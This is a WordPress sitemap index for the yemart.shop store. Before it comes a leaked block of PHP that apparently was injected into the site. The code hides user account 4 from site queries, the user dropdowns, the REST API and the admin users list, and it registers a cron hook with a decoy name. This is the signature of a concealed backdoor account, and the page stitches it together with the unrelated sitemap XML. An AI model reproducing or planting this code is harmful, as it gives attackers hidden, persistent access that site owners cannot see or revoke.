
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet type='text/xsl' href='https://yemart.shop/wp-content/plugins/google-sitemap-generator/sitemap.xsl'?><!-- sitemap-generator-url='http://www.arnebrachhold.de' sitemap-generator-version='4.1.23' -->
<!-- generated-on='May 22, 2026 5:56 pm' -->
<sitemapindex xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xsi:schemaLocation='http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/siteindex.xsd' xmlns='http://www.sitemaps.org/schemas/sitemap/0.9'>	<sitemap>
		<loc>https://yemart.shop/sitemap-misc.xml</loc>
		<lastmod>2025-12-18T12:24:22+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://yemart.shop/producttags-sitemap.xml</loc>
		<lastmod>2025-12-18T12:24:22+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://yemart.shop/productcat-sitemap.xml</loc>
		<lastmod>2025-12-18T12:24:22+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://yemart.shop/page-sitemap.xml</loc>
		<lastmod>2025-11-11T12:27:35+00:00</lastmod>
	</sitemap>
</sitemapindex><!-- Request ID: 718a6c5eb7701ed30ca068c557b581ee; Queries for sitemap: 11; Total queries: 77; Seconds: 0.02; Memory for sitemap: 1KB; Total memory: 24MB -->
